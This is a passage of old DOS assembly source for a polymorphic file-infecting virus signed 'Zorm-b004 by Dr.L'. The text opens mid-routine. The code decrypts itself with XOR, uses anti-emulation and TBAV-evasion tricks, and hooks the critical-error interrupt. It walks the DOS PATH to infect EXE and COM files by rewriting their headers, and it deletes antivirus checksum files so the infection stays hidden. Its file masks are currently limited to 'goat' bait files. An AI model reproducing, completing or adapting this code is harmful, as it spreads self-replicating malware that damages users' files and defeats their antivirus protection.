jz itsok ;trick ;)
mov ah,4ch
int 21h
itsok:
mov ah,3dh ;anti-emulation trick. function 3dh
int 21h ;int 21h= open file function.ds:dx
;mov al,02h ;have to point to file name.
;but ds:dx points tojunk so dos returns
;al=02h.We use this value to decrypt
db 04h ;=add al,10h
value db 10h ;
db 0bbh ;mov bx,patch
patch: ;patch=addr of begin_2nd.
dw 0 ;patch will be set later.
;settings for decrypt bytes between begin_2nd and end_second is over.
;--------------------------------------------------------
;crypt/decrypt "routine"
;
;remark: _ret will be changed into "ret" to transform this part
;in a real asm routine.
crypt:
turn_again:
xor byte ptr cs:[bx],al
inc bx
loop turn_again
_ret: ;
ret ;to be replaced
;--------------------------------------------------------
begin_2nd:
db 2eh,0c6h,06h ;=mov byte ptr cs:[ret_addr],c3h
ret_addr: ;
dw 0 ;(ret_addr=address where to put 'ret'.
db 0c3h ;c3h=opcode for "ret")
db 0bbh ;=mov bx,0000h
patch2: ;
dw 0 ;(patch2=addr of beginning of begin_main)
db 0b0h ;=mov al,2
_al: ;
db 2 ;
;(_al=xor key.Not fixed value during
;infection scheme.see below)
mov cx,end_main-begin_main ;setting to decrypt bytes between
;label begin_main and end_main is
;complete
call crypt ;decrypt now!
end_2nd:
begin_main:
mov ax,ss ;if cs=ss i'm a com
mov cx,cs ;
cmp ax,cx ;if not,i'm exe!
jz im_com ;
im_exe:
cli ;
mov ax,ss ;reset ss=cs
dec ax ;at the start ss=cs+1 to avoid
mov ss,ax ;"k" flag of tbav.Maybe its a
sti ;lame way to do that but dont know
;how to use an other way.
call compute_delta
push ds ;save ds for later
push cs ;set ds=cs
pop ds ;
mov byte ptr [com_virus+bp],0 ;i'm not a com (save this info
;for later)
jmp next_exe ;whats follow for a exe file host?
im_com:
push ds ;save it for later
compute_delta_offset:
call compute_delta
mov byte ptr [com_virus+bp],1 ;yep i'm a com file
next_exe:
pop ax ;set ax=original ds
mov word ptr [_ds+bp],ax ;set _ds=original ds
;you need it for pass
;control to host.
over_there: ;remember me?
;for the first execution
;no need to decrypt
push es ;save es
push cs ;set es=cs
pop es ;
cmp byte ptr [com_virus+bp],1 ;i'm a com?
jnz follow_me ;nope
lea si,store_bytes+bp ;yep i'm
mov di,100h ;ready to transfer byte from
;location "store_bytes" to
;beginning of (com) host.
;(remember the code of *.com
;begin to cs:100h in memory)
jmp transfer
follow_me:
;cld
lea si,store+bp ;transfer from label "store"
lea di,old+bp ;to label "old"
movsw ;(set the correct values, segment:
movsw ;offset for the return to host.)
transfer:
movsw ;you came from "mov di,100h"? ok
movsw ;restore (in memory only) the 4 first
;originals bytes of host.
;you came from "follow me"? ok restore
;originals cs:ip and ss:sp found in
;host (exe) header
pop es ;beware im back!
lea dx,new_dta+bp ;dont modify dta!
call set_dta ;change it!
mov byte ptr [flag_com+bp],'E' ;at first we want to infect Exe
push es ;see you later!
create_new_int24h_handler:
mov ax,3524h ;
int 21h ;save original handler
mov word ptr [bp+old_int24h],bx ;of int 24h for restore
mov word ptr [bp+old_int24h+2],es ;it later.
mov ah,25h ;set a new handler for
lea dx,bp+int_24h ;int 24h.
int 21h ;so dos dont pop up
;a infamous error message if virus
;try to infect write protected
;disk.
pop es ;its me again babe!
count:
mov byte ptr [count_infect+bp],0 ;reset the counter to 0
;self explanory
get_dir:
mov ah,47h ;
lea si,current_dir+bp ;save the current directory
xor dl,dl ;for later when virus pass
int 21h ;control to host and the return to
;dos.the size of buffer is 64 bytes.
get_disk:
mov ah,19H ;from a:or b:or...virus is running?
int 21h ;
mov byte ptr [disk+bp],al ;
cmp al,02H ;virus infect c: not other drive.
;in practice .
jz search_begin_path ;but if you are running the virus
mov dl,02h ;from an drive ,not c:,it infects
mov ah,0eh ;drive c:.
int 21h ;
;-------------------------------------------------------------
;this part search the adress of first byte of the name of the
;first directory include in dos path
;remarks:
; es is destroyed by the routine
; es:di points to the address
; we are searching
search_begin_path:
mov ax,es:002ch ;es:002ch=address of segment where
mov es,ax ;to found in memory the dos path.
xor di,di ;
mov si,di
jmp suite
yet:
inc si
mov di,si
suite:
mov ax,'AP' ;
scasw ;
jnz yet ;
mov ax,'HT' ;search the string 'PATH='
scasw ;in memory
jnz yet ;
mov al,'=' ;
scasb ;
jnz yet ;
;---------------------------------------------------------------------------
;------------------------------------------------------------------
;main part of virus routine to search for files
;to infect.
pathdir: ;
call search ;go to search in current dir
again1: ;
jc parent ;no file found go to "parent"
call infect ;one file found infect it!
cmp byte ptr [count_infect+bp],2 ;
jz end_infect ;
call search_again ;
jmp again1 ;
parent:
call up_dir ;
jnc pathdir ;
change_to_c:
call change_path_dir ;
jnz pathdir ;
jmp end_infect ;
;------------------------------------------------------------------
infect:
mov ax,3d02h
lea dx,new_dta+1eh+bp
int 21h
read_header:
xchg ax,bx
mov ah,3fh
mov cx,1ch
lea dx,exe_header+bp
int 21h
test1:
cmp word ptr [exe_header+bp],'ZM';is it really an exe?
je test3
test2:
cmp word ptr [exe_header+bp],'MZ';idem
jne its_a_com
test3:
cmp word ptr [exe_header+bp+12h],'VI';infected?
je terminer ;yes,bye bye
test3b:
cmp word ptr [exe_header+bp+2],00c6h
jne test4
cmp word ptr [exe_header+bp+4],00b7h
je terminer
test4:
cmp word ptr [exe_header+bp+26],0 ;overlay=0?
jne terminer ;not,bye bye
test5:
cmp word ptr [exe_header+bp+24],40h ;windows exe?
je terminer ;yes ,adios :(
mov byte ptr [com_target+bp],0
jmp get_attributes
its_a_com:
test_com:
cmp byte ptr [exe_header+bp+3],'V'
jz terminer
test_win:
cmp word ptr [exe_header+4+bp],0e1fh
jnz not_win_com
cmp word ptr [exe_header+6+bp],0e807h
jz terminer
not_win_com:
jmp suit
end_infect:
jmp end_infect2
suit:
push di
push es
push cs
pop es
mov byte ptr [com_target+bp],1
lea si,exe_header+bp
lea di,store_bytes+bp
movsw
movsw
pop es
pop di
get_attributes:
mov ax,4300h
lea dx,new_dta+1eh+bp
int 21h
mov word ptr [attribute+bp],cx
set_attributes:
lea dx,new_dta+1eh+bp
call set_attrib
kill_crc_files:
;-----------------------------------------------
;delete crc files
lea dx,killfile1+bp
call set_attrib
call kill_file
jmp next
terminer:
jmp close_file
next:
lea dx,killfile2+bp
call set_attrib
call kill_file
lea dx,killfile3+bp
call set_attrib
call kill_file
;------------------------------------------------
get_time_date:
mov ax,5700h
int 21h
push cx
push dx
cmp byte ptr [com_target+bp],1
jz go_end_of_file
store_info_header:
mov ax,word ptr [exe_header+bp+0eh]
mov word ptr [store_ss+bp],ax
mov ax,word ptr [exe_header+bp+10h]
mov word ptr [store_sp+bp],ax
mov ax,word ptr [exe_header+bp+14h]
mov word ptr [store_ip+bp],ax
mov ax,word ptr [exe_header+bp+16h]
mov word ptr [store_cs+bp],ax
go_end_of_file:
call go_end
cmp byte ptr [com_target+bp],1
jnz next_exe_infect
sub ax,7
xchg ax,dx
mov cx,0
mov ax,4200h
int 21h
mov ah,03fh
mov cx,07h
lea dx,queue+(end_virus-start)+bp
int 21h
add word ptr [queue+(end_virus-start)+5+bp],end_virus-start+7
call go_end
mov cx,ax
sub ax,3
mov word ptr [jmp_bytes+bp+1],ax
add cx,100h
jmp change_patch
next_exe_infect:
push ax dx
compute_new_csip:
push ax
mov ax,word ptr [exe_header+bp+8]
mov cl,4
shl ax,cl
mov cx,ax
pop ax
sub ax,cx
sbb dx,0
mov cl,0ch
shl dx,cl
mov cl,4
push ax
shr ax,cl
add dx,ax
shl ax,cl
pop cx
sub cx,ax
change_header:
mov word ptr [exe_header+bp+14h],cx
mov word ptr [exe_header+bp+16h],dx
inc dx
mov word ptr [exe_header+bp+0eh],dx
mov word ptr [exe_header+bp+10h],0FF0h
mov word ptr [exe_header+bp+0ah],00FFh
mov word ptr [exe_header+bp+12h],'VI'
change_patch:
push cx
add cx,begin_main-start
mov word ptr [patch2+bp],cx
pop cx
push cx
add cx,_ret-start
mov word ptr [ret_addr+bp],cx
pop cx
add cx,begin_2nd-start
mov word ptr [patch+bp],cx
cmp byte ptr [com_target+bp],1
jz write_virus
pop dx ax
compute_size:
add ax,end_virus-start
adc dx,0
mov cx,512
div cx
cmp dx,0
je enough
inc ax
enough:
mov word ptr [exe_header+bp+04],ax
mov word ptr [exe_header+bp+02],dx
write_virus:
encipher:
call encrypt
;--------------------------------
;routine to avoid tbav "U" flag
;"U"=undocumented dos interrupt
;in fact tbav sets this flag
;if it finds "cdh,xyh" string
;where xy isnt a ordinary value
;for an interrupt.
lea si,queue+bp+(begin_2nd-start)
mov cx,end_virus-begin_2nd
test_int:
cmp byte ptr [si],0cdh
je encipher
inc si
loop test_int
;-------------------------------
;-------------------------------
;90h=nop replace 'ret' by 'nop'
;for the first execution of crypt
;routine by the target exe
;in the buffer before write it.
mov byte ptr [bp+queue+(_ret-start)],90h
;-------------------------------
;-------------------------------
;write the virus to the target file
mov ah,40h
mov cx,(end_virus-start)+7
lea dx,bp+queue
int 21h
;-------------------------------
;-------------------------------
;set the file pointer of target to
;the beginning.
go_beginning:
mov ax,4200h
xor cx,cx
cwd
int 21h
;-------------------------------
copy_new_header:
cmp byte ptr [com_target+bp],1
jnz copy_exe
lea dx,jmp_bytes+bp
mov cx,4
jmp go_copy
copy_exe:
mov cx,1ah
lea dx,exe_header+bp
go_copy:
mov ah,40h
int 21h
inc_counter:
inc byte ptr [count_infect+bp]
restore_file_attribute:
mov cx,attribute+bp
lea dx,1eh+bp+new_dta
mov ax,4301h
int 21h
restore_date_time:
mov ax,5701h
pop dx
pop cx
int 21h
close_file:
mov ah,3eh
int 21h
ret
end_infect2:
restore_disk:
mov dl,byte ptr [disk+bp]
mov ah,0Eh
int 21h
restore_directory:
mov ah,3bh
mov byte ptr [slash+bp],'\'
lea dx,[current_dir-1]+bp
int 21h
cmp byte ptr [flag_com+bp],'C'
jz exit
mov byte ptr [flag_com+bp],'C' ;set this flag to avoid
jmp count
exit:
restore_initial_ds_value:
mov ax,word ptr [_ds+bp]
push ax
pop ds
restore_initial_dta:
mov dx,80h
call set_dta
restore_initial_24h_interrupt:
push ds
mov ax,2524h
lds dx,bp+old_int24h
int 21h
pop ds
restore_initial_es:
push ds
pop es
cmp byte ptr [com_virus+bp],1
jnz finish_exe
return_com_host:
mov ax,100h
push ax
ret
finish_exe:
mov ax,es
add ax,10h
set_cs_of_host_to_run_it:
add word ptr cs:[old_cs+bp],ax
set_stack_of_host:
cli
add ax,word ptr cs:[bp+old_ss]
mov ss,ax
mov sp,word ptr cs:[bp+old_sp]
sti
go_to_host_code:
db 0eah ; :=jmp xxxx:yyyy
old:
old_ip dw 0 ; yyyy
old_cs dw 0 ; xxxx
old_sp dw 0
old_ss dw 0
store:
store_ip dw 0
store_cs dw 0fff0h
store_sp dw 0
store_ss dw 0fff0h
;-----------------------------------
;search in current directory.
search:
mov ah,4eh
cmp byte ptr [flag_com+bp],'C'
jnz its_exe
lea dx,com_file+bp
jmp its_com
its_exe:
lea dx,file_mask+bp
its_com:
mov cx,7
int 21h
ret
search_again:
mov ah,4fh
int 21h
ret
;-----------------------------------
;-----------------------------------
;change directory to parent dir.
up_dir:
mov ah,3bh
lea dx,dot_dot+bp
int 21h
ret
;-----------------------------------
;-----------------------------------
;find the next dir in dos path
;and set current dir=dir found.
change_path_dir:
lea si,new_dir+bp
notyet:
cmp byte ptr es:[di],';'
jz _end
cmp byte ptr es:[di],0
jz _end2
mov ah,byte ptr es:[di]
mov byte ptr [si],ah
inc di
inc si
jmp notyet
_end:
mov byte ptr [si],0
inc di
mov ah,3bh
lea dx,new_dir+bp
int 21h
ret
_end2:
xor ax,ax
ret
;------------------------------------------
encrypt:
push ax
push bx
change_xor_value:
mov al,byte ptr [_al+bp]
inc al
cmp al,0
jne more
inc al
more:
mov byte ptr [_al+bp],al
mov ah,byte ptr [value+bp]
inc ah
cmp ah,0
jne again
inc ah
again:
mov byte ptr [value+bp],ah
copy_virus_to_queue_buffer:
;cld
push di
push es
push cs
pop es
lea si,start+bp
lea di,queue+bp
mov cx,end_virus-start
rep movsb
pop es
pop di
crypt_main_part_of_virus_in_buffer:
mov cx,end_main-begin_main
lea bx,queue+(begin_main-start)+bp
call crypt
xchg al,ah
inc al
inc al
crypt_2nd_part_of_virus_in_buffer:
mov cx,end_2nd-begin_2nd
lea bx,queue+(begin_2nd-start)+bp
call crypt
pop bx
pop ax
ret
set_attrib:
mov ax,4301h
xor cx,cx
int 21h
ret
kill_file:
mov ah,41h
int 21h
ret
int_24h:
mov al,3
iret
set_dta:
mov ah,1ah
int 21h
ret
compute_delta:
call delta
delta:
pop bp
sub bp,offset delta
ret
go_end:
mov ax,4202h
xor cx,cx
cwd
int 21h
ret
signature db '(c)Zorm-b004 by Dr.L March/July98'
jmp_bytes db 0e9h,0,0,'V'
store_bytes db 90h,90h,0cdh,20h
killfile1 db 'anti-vir.dat',0
killfile2 db 'chklist.ms' ,0
killfile3 db 'chklist.cps' ,0
dot_dot db '..',0
file_mask db 'goat*.exe',0 ;anti-lamer routine
com_file db 'goat*.com',0
end_main:
end_virus:
com_target db ?
com_virus db ?
flag_com db ?
disk db ?
attribute dw ?
old_int24h dd ?
_ds dw ?
count_infect db ?
slash db ?
current_dir db 64 dup (?)
exe_header db 1ch dup (?)
new_dta db 43 dup (?)
new_dir db 64 dup (?)
queue:
end start1